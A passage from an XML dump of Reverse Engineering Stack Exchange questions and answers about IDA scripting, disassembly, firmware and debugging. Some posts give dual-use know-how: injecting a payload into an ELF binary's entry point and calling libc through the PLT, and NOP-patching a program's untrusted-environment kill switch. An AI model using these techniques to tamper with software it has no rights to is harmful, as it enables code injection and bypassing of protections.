len(lvars) == 1:&#xA;            print(&amp;quot;renaming {} to {}&amp;quot;.format(lvars[0].name, dst))&#xA;            vu.rename_lvar(lvars[0], dst, 1)&#xA;            # how to close the view without a widget object?&#xA;            #     idautils.close_pseudocode (nope)&#xA;            #     ida_kerwin.close_widget   (nope)&#xA;        else:&#xA;            print(&amp;quot;couldn't find var {}&amp;quot;.format(src))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16770" LastEditorUserId="16770" LastEditDate="2020-12-25T02:12:51.453" LastActivityDate="2020-12-25T02:12:51.453" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26623" PostTypeId="2" ParentId="18063" CreationDate="2020-12-25T03:16:31.060" Score="0" Body="&lt;p&gt;It's better to do this directly, without using the user-interface class &lt;code&gt;vdui_t&lt;/code&gt;. Here's a small function you can call to set the name of a local variable, assuming you already have the &lt;code&gt;lvar_t&lt;/code&gt; object you want to rename:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;def SetLvarName(func_ea,lvar,name):&#xA;    lsi = ida_hexrays.lvar_saved_info_t()&#xA;    lsi.ll = lvar&#xA;    lsi.name = name&#xA;    ida_hexrays.modify_user_lvar_info(func_ea, ida_hexrays.MLI_NAME, lsi)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Here's a little harness I wrote to ensure it works. It decompiles some function in my database, finds the &lt;code&gt;lvar_t&lt;/code&gt; named &amp;quot;v35&amp;quot;, and renames it to &amp;quot;vNewName&amp;quot;.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;def GetCfunc(ea):&#xA;    f = idaapi.get_func(ea)&#xA;    if f is None:&#xA;        return None&#xA;&#xA;    # Decompile the function.&#xA;    cfunc = None&#xA;    try:&#xA;        cfunc = idaapi.decompile(f)&#xA;    finally:&#xA;        return cfunc&#xA;&#xA;cfunc = GetCfunc(0x61FE5DDE)&#xA;if cfunc:&#xA;    mba = cfunc.mba&#xA;    for idx in xrange(mba.vars.size()):&#xA;        var = mba.vars[idx]&#xA;        if var.name == &amp;quot;v35&amp;quot;:&#xA;            SetLvarName(cfunc.entry_ea,var,&amp;quot;vNewName&amp;quot;)&#xA;            break&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="182" LastActivityDate="2020-12-25T03:16:31.060" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26624" PostTypeId="2" ParentId="19119" CreationDate="2020-12-25T09:49:35.517" Score="0" Body="&lt;p&gt;The simplest solution is to use &lt;a href=&quot;https://github.com/scottmudge/DebugAutoPatch&quot; rel=&quot;nofollow noreferrer&quot;&gt;DebugAutoPatch&lt;/a&gt; plugin. To install, download DebugAutoPatch.py file to IDA plugins directory. Its features:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;No need to modify any binary files to apply patches!&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Automatically synchronizes the existing &amp;quot;Patched bytes&amp;quot; database in&#xA;IDA with any launched debug sessions.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;All patches stored in the &amp;quot;Patched bytes&amp;quot; database are applied to the&#xA;debug session memory at &amp;quot;process start&amp;quot;, before the main entry point.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Debug hooks automatically suspend process, apply patches, and resume&#xA;process. The process is seamless and automatic to the user.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;No extra breakpoints are added and no existing breakpoints are&#xA;modified. The ability to disable automatic patching (and thus revert&#xA;the binary to it's &amp;quot;original&amp;quot; state).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;These options are available in the existing &amp;quot;Edit &amp;gt; Patch program&amp;quot;&#xA;menu.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="35336" LastActivityDate="2020-12-25T09:49:35.517" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26627" PostTypeId="2" ParentId="26614" CreationDate="2020-12-26T05:15:35.667" Score="0" Body="&lt;p&gt;This is a lambda expression. When the lambda expression has captures it is compiled into a implementation defined structure. In my case the lambda has captures, using MSVC the structure was &lt;a href=&quot;https://github.com/microsoft/STL/blob/1e8b8d4eef4b2dddeb7533c5231c876383bd0ea6/stl/inc/functional#L775-L801&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;_Func_Base&lt;/code&gt;&lt;/a&gt; defined as:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#pragma warning(push)&#xA;#pragma warning(disable : 4265) // class has virtual functions, but destructor is not virtual (/Wall)&#xA;// CLASS TEMPLATE _Func_base&#xA;template &amp;lt;class _Rx, class... _Types&amp;gt;&#xA;class __declspec(novtable) _Func_base { // abstract base for implementation types&#xA;public:&#xA;    virtual _Func_base* _Copy(void*) const                 = 0;&#xA;    virtual _Func_base* _Move(void*) noexcept              = 0;&#xA;    virtual _Rx _Do_call(_Types&amp;amp;&amp;amp;...)                      = 0;&#xA;    virtual const type_info&amp;amp; _Target_type() const noexcept = 0;&#xA;    virtual void _Delete_this(bool) noexcept               = 0;&#xA;&#xA;#if _HAS_STATIC_RTTI&#xA;    const void* _Target(const type_info&amp;amp; _Info) const noexcept {&#xA;        return _Target_type() == _Info ? _Get() : nullptr;&#xA;    }&#xA;#endif // _HAS_STATIC_RTTI&#xA;&#xA;    _Func_base()                  = default;&#xA;    _Func_base(const _Func_base&amp;amp;) = delete;&#xA;    _Func_base&amp;amp; operator=(const _Func_base&amp;amp;) = delete;&#xA;    // dtor non-virtual due to _Delete_this()&#xA;&#xA;private:&#xA;    virtual const void* _Get() const noexcept = 0;&#xA;};&#xA;#pragma warning(pop)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="19294" LastActivityDate="2020-12-26T05:15:35.667" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26628" PostTypeId="2" ParentId="14877" CreationDate="2020-12-26T08:42:23.233" Score="2" Body="&lt;p&gt;As of the &lt;a href=&quot;https://www.ghidra-sre.org/releaseNotes_9.2.1.html#9_1&quot; rel=&quot;nofollow noreferrer&quot;&gt;9.1 release&lt;/a&gt;, Ghidra supports SH4.&lt;/p&gt;&#xA;" OwnerUserId="18563" LastActivityDate="2020-12-26T08:42:23.233" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26630" PostTypeId="1" CreationDate="2020-12-27T09:06:37.477" Score="0" ViewCount="276" Body="&lt;p&gt;It seems to be a virtual function call. How would this code look in a high-level language like C ++?&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;.text:0053A745 loc_53A745:                             ; CODE XREF: sub_53A690+CEj&#xA;.text:0053A745                 mov     ecx, [edi+esi*4]&#xA;.text:0053A748                 test    ecx, ecx&#xA;.text:0053A74A                 jz      short loc_53A751&#xA;.text:0053A74C                 mov     edx, [ecx]&#xA;.text:0053A74E                 call    dword ptr [edx+4]&#xA;.text:0053A751&#xA;.text:0053A751 loc_53A751:                             ; CODE XREF: sub_53A690+BAj&#xA;.text:0053A751                 mov     eax, dword_83C020&#xA;.text:0053A756                 test    eax, eax&#xA;.text:0053A758                 jnz     short loc_53A78D&#xA;.text:0053A75A                 inc     esi&#xA;.text:0053A75B                 cmp     esi, 25h&#xA;.text:0053A75E                 jl      short loc_53A745&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="33371" LastActivityDate="2020-12-27T17:21:19.647" Title="Virtual functions call asm" Tags="|disassemblers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26631" PostTypeId="1" AcceptedAnswerId="26638" CreationDate="2020-12-27T10:58:52.793" Score="0" ViewCount="293" Body="&lt;p&gt;I am working on ELF-injector, which given some payload (currently it's an assembly file with .text section only) will inject it into ELF binary. I had related &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/26386/elf-binary-injection&quot;&gt;post&lt;/a&gt; here.&lt;/p&gt;&#xA;&lt;p&gt;Now I would like to make it more usable and allow the payload call library functions linked by the victim (at least libc functions).&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Note:&lt;/em&gt; I am changing first instructions of the entry point to execute my code first. Does it mean I cannot yet use dynamically linked functions?&lt;/p&gt;&#xA;" OwnerUserId="35050" LastActivityDate="2020-12-27T23:34:15.617" Title="Call libc functions from the payload statically injected into ELF binary" Tags="|linux|c|elf|dll-injection|injection|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26632" PostTypeId="1" CreationDate="2020-12-27T11:31:01.750" Score="0" ViewCount="1728" Body="&lt;p&gt;Although I have no hope really I will leave this here in case someone has the ability and time to help.&#xA;This is from a modem/router widely used in countries like Germany, Greece and others from Sercomm and labeled as &amp;quot;Speedport Plus&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;There is no output from binwalk and entropy is almost 1 (which I guess shows encryption)&#xA;The *.img file has some info in header&#xA;&lt;a href=&quot;https://i.stack.imgur.com/LtXFb.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LtXFb.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vmEtc.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vmEtc.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4CDzp.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4CDzp.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;File is located here: &lt;a href=&quot;https://help.cosmote.gr/system/templates/selfservice/gnosisgr/files2/09022001.00.030_OTE5.img&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://help.cosmote.gr/system/templates/selfservice/gnosisgr/files2/09022001.00.030_OTE5.img&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;and older version of the firmware: &lt;a href=&quot;https://help.cosmote.gr/system/templates/selfservice/gnosisgr/files2/09022001.00.030_OTE3.img&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://help.cosmote.gr/system/templates/selfservice/gnosisgr/files2/09022001.00.030_OTE3.img&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="35351" LastEditorUserId="35351" LastEditDate="2020-12-27T15:54:42.850" LastActivityDate="2020-12-30T10:56:34.960" Title="decryption of firmware file from modem/router Speedport Plus (Sercomm not ZTE)?" Tags="|firmware|decryption|firmware-analysis|binwalk|binary-diagnosis|" AnswerCount="1" CommentCount="3" ClosedDate="2021-01-20T10:50:15.597" ContentLicense="CC BY-SA 4.0" />
  <row Id="26634" PostTypeId="2" ParentId="26630" CreationDate="2020-12-27T16:50:34.847" Score="3" Body="&lt;p&gt;This could be a loop over 37 objects with virtual functions, the simplified version could look similar to this (written in C++)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;iostream&amp;gt;&#xA;&#xA;class Animal&#xA;{&#xA;public:&#xA;    virtual void makeSound() = 0;&#xA;    virtual char* getColor() = 0;&#xA;    virtual ~Animal() = 0;&#xA;};&#xA;&#xA;class Cat : public Animal&#xA;{&#xA;public:&#xA;    Cat();&#xA;    void makeSound() { std::cout &amp;lt;&amp;lt; &amp;quot;meow&amp;quot; &amp;lt;&amp;lt; std::endl; }&#xA;    char* getColor() { return &amp;quot;red&amp;quot;; };&#xA;    ~Cat() {};&#xA;};&#xA;&#xA;Animal* animals[] = {new Cat(), new Cat(), new Cat()};&#xA;int main()&#xA;{&#xA;    for (int i = 0; i &amp;lt; 3; i++)&#xA;        if (animals[i])&#xA;            std::cout &amp;lt;&amp;lt; animals[i]-&amp;gt;getColor();&#xA;&#xA;    for (int i = 0; i &amp;lt; 3; i++)&#xA;        delete animals[i];&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;With the core lines:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if (animals[i])&#xA;  std::cout &amp;lt;&amp;lt; animals[i]-&amp;gt;getColor();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Compiled to this by &lt;code&gt;clang 8.0.0&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;cmp     dword ptr [animals + eax*4], 0&#xA;je      .LBB2_4&#xA;mov     eax, dword ptr [ebp - 8]&#xA;mov     eax, dword ptr [animals + eax*4]&#xA;mov     ecx, dword ptr [eax]&#xA;mov     dword ptr [esp], eax&#xA;call    dword ptr [ecx + 4]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Additionally your code seems to follow Microsoft &lt;code&gt;__thiscall&lt;/code&gt; calling convention, as the &lt;code&gt;this&lt;/code&gt; pointer is stored in &lt;code&gt;ecx&lt;/code&gt; register.&lt;/p&gt;&#xA;" OwnerUserId="21109" LastEditorUserId="21109" LastEditDate="2020-12-27T17:21:19.647" LastActivityDate="2020-12-27T17:21:19.647" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26636" PostTypeId="1" CreationDate="2020-12-27T18:49:17.657" Score="1" ViewCount="60" Body="&lt;p&gt;I have an executable that I'd like to patch, but I'm very new to RE. I some have assembly knowledge of x86 as first learned language last year, but not of this one: PowerPC (in this case is PPC32), which I will learn when needed to patch the program.&lt;/p&gt;&#xA;&lt;p&gt;But I think the main problem on me understanding what's this is that I've never seen a packed or encrypted (well, maybe encrypted). But I have no idea how to know which one is the case - or if it's another thing. I once asked a person and they told me it might be packed. Another one said it might be encrypted. Is there any way of knowing which one it could be, or if it's another which I don't know about?&lt;/p&gt;&#xA;&lt;p&gt;Image of the beggining of the file in IDA's Graph view (was vertical, but it would take too much space):&#xA;&lt;a href=&quot;https://i.stack.imgur.com/thwYK.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/thwYK.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image of random part of the file, in IDA's Text view:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/sdlKY.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sdlKY.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Can it be seen from there what's the problem with it? There's almost no code. And the developer said it was protected, so the program is not meant to be like this. But I have no idea what all those numbers mean. Never saw anything like that (only patched one program by now and was very easy, but still very cool to do).&lt;/p&gt;&#xA;&lt;p&gt;Bellow MUCH of that red stuff are strings. Above it's the first picture. If it helps in any way, the file format is PRX for PS3 (&lt;a href=&quot;https://www.psdevwiki.com/ps3/PRX&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.psdevwiki.com/ps3/PRX&lt;/a&gt;) - don't worry, the program is not official. It's one of the unofficial programs made for unlocked PS3s by the community. But I'd like to patch something on it, as it's not working and I may know the problem, but the developer is not available to help anymore.&lt;/p&gt;&#xA;&lt;p&gt;Thanks in advance for any help!&lt;/p&gt;&#xA;" OwnerUserId="30468" LastActivityDate="2020-12-27T18:49:17.657" Title="Is this executable packed, encrypted or what?" Tags="|encryption|packers|protection|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26637" PostTypeId="2" ParentId="26588" CreationDate="2020-12-27T20:25:47.477" Score="2" Body="&lt;p&gt;I think these files are encrypted rather than compressed.&lt;/p&gt;&#xA;&lt;p&gt;I've run &lt;code&gt;file&lt;/code&gt; at all offsets from start and found format consistent across the files at the same offset.&lt;/p&gt;&#xA;&lt;p&gt;The files have only a constant value in the first 4 bytes. The rest is high entropy.&lt;/p&gt;&#xA;&lt;p&gt;The same content saved at different times produces a different binary file each time.&lt;/p&gt;&#xA;&lt;p&gt;File sizes are similar in previous instances when content was different in size, indicating padding of some sort.&lt;/p&gt;&#xA;&lt;p&gt;I think this is may &lt;a href=&quot;https://developer.apple.com/library/archive/documentation/General/Conceptual/iCloudDesignGuide/Chapters/iCloudFundametals.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;how IOS handles file security for some apps&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="34929" LastActivityDate="2020-12-27T20:25:47.477" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26638" PostTypeId="2" ParentId="26631" CreationDate="2020-12-27T23:34:15.617" Score="1" Body="&lt;p&gt;For any external functions used (e.g. libc functions), there will exist a stub in the binary's PLT for said function. When the program calls the function, it jumps to the PLT stub, which correctly handles finding the address of the function the first time it is called.&lt;/p&gt;&#xA;&lt;p&gt;For your purposes, you can read the PLT addresses or offsets from the binary, and use that for calling the library function. You could even use offsets to calculate addresses of and call functions that are not imported into the PLT.&lt;/p&gt;&#xA;&lt;p&gt;Even if you are injecting at the entry point of the program before any boilerplate initialization code, the program is still only run after the runtime dynamic linker/interpreter (ld.so) has set up the dynamically linked libraries, so I think you should be fine.&lt;/p&gt;&#xA;" OwnerUserId="24222" LastActivityDate="2020-12-27T23:34:15.617" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26639" PostTypeId="2" ParentId="26590" CreationDate="2020-12-27T23:42:35.903" Score="3" Body="&lt;p&gt;The main built-in way I see to do this is to use &lt;code&gt;gdbserver --multi&lt;/code&gt; without attaching to a process at that time. Then, you connect with &lt;code&gt;target extended-remote&lt;/code&gt; in gdb, and then run the &lt;code&gt;attach &amp;lt;pid&amp;gt;&lt;/code&gt; in gdb.&lt;/p&gt;&#xA;&lt;p&gt;You could also instead use a wrapper on the debugee to not start &lt;code&gt;gdbserver&lt;/code&gt; until a connection is made:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ socat tcp-l:&amp;lt;port&amp;gt;,reuseaddr,fork exec:&amp;quot;gdbserver --once --attach &amp;lt;pid&amp;gt;&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Statically compiled builds of &lt;code&gt;socat&lt;/code&gt; can be made by you or often found online.&lt;/p&gt;&#xA;" OwnerUserId="24222" LastEditorUserId="24222" LastEditDate="2021-01-22T12:16:19.850" LastActivityDate="2021-01-22T12:16:19.850" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26640" PostTypeId="2" ParentId="26529" CreationDate="2020-12-28T01:48:33.320" Score="1" Body="&lt;p&gt;Traditionally only two signals are reserved for users - &lt;code&gt;SIGUSR1&lt;/code&gt; and &lt;code&gt;SIGUSR2&lt;/code&gt;. But there are possibilities for others as well as mentioned &lt;a href=&quot;https://unix.stackexchange.com/questions/48582/why-there-are-only-two-user-defined-signals/48594&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I would check if the signals &lt;code&gt;SIGUSR1&lt;/code&gt; and &lt;code&gt;SIGUSR2&lt;/code&gt; does anything besides the obvious, like maybe call other subroutines.&lt;/p&gt;&#xA;" OwnerUserId="35349" LastActivityDate="2020-12-28T01:48:33.320" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26641" PostTypeId="1" AcceptedAnswerId="26646" CreationDate="2020-12-28T02:14:42.197" Score="0" ViewCount="67" Body="&lt;p&gt;I've decompiled a custom router ELF binary using Hex-Rays and have recently come across the following function in the binary:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;pkt_hdr_t *__cdecl pkt_hdr_from_frame(frame_t *frame, uint16_t *remaining)&#xA;{&#xA;  uint16_t *remaininga; // [xsp+10h] [xbp+10h]&#xA;  frame_t *framea; // [xsp+18h] [xbp+18h]&#xA;  uint16_t frame_sz; // [xsp+26h] [xbp+26h]&#xA;&#xA;  framea = frame;&#xA;  remaininga = remaining;&#xA;  if ( !frame || !remaining )&#xA;    return 0LL;&#xA;  frame_sz = ntohs(frame-&amp;gt;sz.inner);&#xA;  if ( frame_sz &amp;lt;= 1u )&#xA;    return 0LL;&#xA;  *remaininga = frame_sz - 2;&#xA;  return (pkt_hdr_t *)&amp;amp;framea[1];&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;While it's a pretty short piece of code, I'll appreciate it if the role of &lt;code&gt;remaining&lt;/code&gt; and the &lt;code&gt;return&lt;/code&gt; line can be figured out. I know that a frame is created from a packet by appending the length of a packet to the beginning of it and the length field is 2 bytes long itself. This seems related to &lt;code&gt;remaining&lt;/code&gt; which is a pointer to a 16 bit (2 byte) unsigned integer. According to the line before &lt;code&gt;return&lt;/code&gt; it seems to me that initially the value pointed to by &lt;code&gt;remaining&lt;/code&gt; is the length of the frame, i.e., length of packet + 2 bytes of length field but the function &lt;code&gt;pkt_hdr_from_frame&lt;/code&gt; removes those 2 bytes and returns a pointer to the field in the frame located after the packet-length field (which is the beginning of the packet itself). Nevertheless, I'm confused with &lt;code&gt;framea[1]&lt;/code&gt; as I don't understand the indexing here, especially considering the fact that the &lt;code&gt;frame_t&lt;/code&gt; type is unknown to me. Thank you for your help!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 1:&lt;/strong&gt; IDA Pro Local Types tab gives (Ordinal, Name, Size, Sync, Description) as&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;31  frame_t 00000002        struct {uint16_n sz;uint8_t data[];}&#xA;63  _pkt_hdr_t  00000002        struct {pkt_flags_t flags;msg_type_t msgtype;}&#xA;64  pkt_hdr_t   00000002        typedef _pkt_hdr_t&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17667" LastEditorUserId="17667" LastEditDate="2020-12-28T02:26:46.157" LastActivityDate="2020-12-28T16:58:35.140" Title="What does this custom piece of frame manipulation code from a router binary do?" Tags="|ida|elf|hexrays|pointer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26642" PostTypeId="1" AcceptedAnswerId="26644" CreationDate="2020-12-28T10:11:38.677" Score="0" ViewCount="221" Body="&lt;p&gt;I am using retdec to decompile a piece of software. It has a &amp;quot;kill switch&amp;quot; to detect if it's being run in an untrusted environment, in the decompiled code it just a simple&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if (env_untrusted() == 1)&#xA;   abort()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;so i'd like to remove that statement, thing is, the decompiled C code has &lt;em&gt;many&lt;/em&gt; compilation errors. Is it possible to see what assembly corresponds to that function, and then change that assemlby to &amp;quot;return 0&amp;quot;?&lt;/p&gt;&#xA;&lt;p&gt;also, using objdump i can generate assembly, but not in a usable format, is there a way how i can make it print in a usable format so that i can compile that assembly?&lt;/p&gt;&#xA;&lt;p&gt;so in summary:&#xA;i have decompiled an executable file using retdec into a C file. in that C file i found a function that i'd like to edit, but i cant compile the C file, so i need to find that function in the assembly, how can i do that?&lt;/p&gt;&#xA;&lt;p&gt;and as a by producct: how can i make objdump only print out assembly&lt;/p&gt;&#xA;" OwnerUserId="35360" LastActivityDate="2020-12-28T15:10:13.150" Title="Link decompiled C code to Assembly (retdec decompiled object into C code, but with many errors, i found the kill switch which i need to edit)" Tags="|disassembly|assembly|c|objdump|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26643" PostTypeId="2" ParentId="26299" CreationDate="2020-12-28T13:13:37.223" Score="1" Body="&lt;p&gt;Maybe this API-documentation will help (managed to get it from github while enstoflow was active earlier this year). It has all the payloads documented.&#xA;&lt;a href=&quot;https://drive.google.com/file/d/1ALbayheoGqpcOpPPEXFPCOlECvhd37kC/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://drive.google.com/file/d/1ALbayheoGqpcOpPPEXFPCOlECvhd37kC/view?usp=sharing&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;A snippet from the document:&#xA;2.2.5. Boost&#xA;Boost gives time in minutes or duration in percentage depending on the mcu mode. Boost offset&#xA;(setpoint) is also given and it is between -20 and +20 degrees.&lt;/p&gt;&#xA;&lt;p&gt;Characteristics UUID ca3c0685-b708-4cd4-a049-5badd10469e7&#xA;value BYTE[0] Boost 0=disabled, 1=enabled&lt;/p&gt;&#xA;&lt;p&gt;BYTE[1-2]: Boost offset int16_t as degrees (20&#xA;as 2000 and 21,5 as 2150)&#xA;BYTE[3]: Boost offset int8_t percentage&#xA;BYTE[4-5]: Boost time set point in minutes&#xA;uint8_t&#xA;BYTE[6-7]: Boost time in minutes uint8_t,&#xA;returns remaining boost time, write does not&#xA;have effect&lt;/p&gt;&#xA;&lt;p&gt;Best regards,&#xA;Mika&lt;/p&gt;&#xA;" OwnerUserId="35364" LastEditorUserId="35364" LastEditDate="2020-12-28T13:19:26.017" LastActivityDate="2020-12-28T13:19:26.017" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26644" PostTypeId="2" ParentId="26642" CreationDate="2020-12-28T15:10:13.150" Score="1" Body="&lt;p&gt;Assuming, that executable is not packed, and if you got to the killswitch already, just select some asm commands and look for them in debugger. then you can change necessary bytes with NOP.  No recompilation would be necessary at all.&lt;/p&gt;&#xA;&lt;p&gt;Recompilation, even if successful, will make executable not exactly the same as original code.&lt;/p&gt;&#xA;" OwnerUserId="33340" LastActivityDate="2020-12-28T15:10:13.150" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26645" PostTypeId="2" ParentId="26530" CreationDate="2020-12-28T15:42:29.857" Score="0" Body="&lt;p&gt;I believe, you have to change that address to apropriate &amp;quot;JMP&amp;quot; command, and append ADD EAX,0xa at the end of the executable file, all other commands if overwritten and also the rest desired actions as well and after finishing, jmp back to the incremented address, you will need to correct executables header file as well for modified file length. Sure, when adding your own instructions, remember to correct all changed register pointers, e.g. stack...&lt;/p&gt;&#xA;" OwnerUserId="33340" LastActivityDate="2020-12-28T15:42:29.857" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26646" PostTypeId="2" ParentId="26641" CreationDate="2020-12-28T16:30:26.153" Score="1" Body="&lt;p&gt;ntohs basically converts a netshort to hostshort&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; import socket&#xA;&amp;gt;&amp;gt;&amp;gt; print (hex(socket.ntohs(0x1337)))&#xA;0x3713&#xA;&amp;gt;&amp;gt;&amp;gt; print (hex(socket.ntohs(0x3713)))&#xA;0x1337&#xA;&amp;gt;&amp;gt;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;it will write back&#xA;0x3713-0x2 = 0x3711  or  0x1337 - 0x2 = 0x1335&lt;br /&gt;&#xA;in the address pointed by remaining if it is &amp;gt; 1u&lt;/p&gt;&#xA;&lt;p&gt;and return back an address a pointer to pkt_hdr_t&lt;/p&gt;&#xA;&lt;p&gt;comment edit&lt;/p&gt;&#xA;&lt;p&gt;no remaining is an incoming pointer&lt;br /&gt;&#xA;it is a writable address&lt;br /&gt;&#xA;this function writes back whatever is remaining from the result of ntohs() call - 2 to this pointer&lt;br /&gt;&#xA;it is like *blah = foo where foo is an unsigned short and blah is a pointer to unsigned short&lt;/p&gt;&#xA;&lt;p&gt;so it may be called like unsigned short * xyz = 0;&#xA;pkt_whatever(abc,xyz) {&#xA;xyz = some unsigned short whose value is 123xxyy&#xA;}&lt;/p&gt;&#xA;&lt;p&gt;so on incoming xyz will be holding 0 when it goes out of the function xyz will be holding  123xxyy&lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2020-12-28T16:58:35.140" LastActivityDate="2020-12-28T16:58:35.140" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26647" PostTypeId="1" CreationDate="2020-12-28T16:35:27.010" Score="2" ViewCount="918" Body="&lt;p&gt;As part of challenging my self I was trying to run a program that doesn't exist on Catlina taken from Big Sur.&lt;/p&gt;&#xA;&lt;p&gt;I had to extract the dylibs from the shared cache by using &lt;a href=&quot;https://github.com/antons/dyld-shared-cache-big-sur&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; tool.&lt;/p&gt;&#xA;&lt;p&gt;The library called ChatKit, after the extraction it seems there are missing values under the &lt;em&gt;Dynamic Loader Info&lt;/em&gt; and isn't expanded, see an example:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/du5t5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/du5t5.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;In addition, trying to open the program or by import it externally, e.g:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;#include &amp;lt;string.h&amp;gt;&#xA;#include &amp;lt;dlfcn.h&amp;gt;&#xA;&#xA;int main(int argc, char** argv)&#xA;{&#xA;    void *handle;&#xA;&#xA;    handle = dlopen(&amp;quot;./Chatkit&amp;quot;, 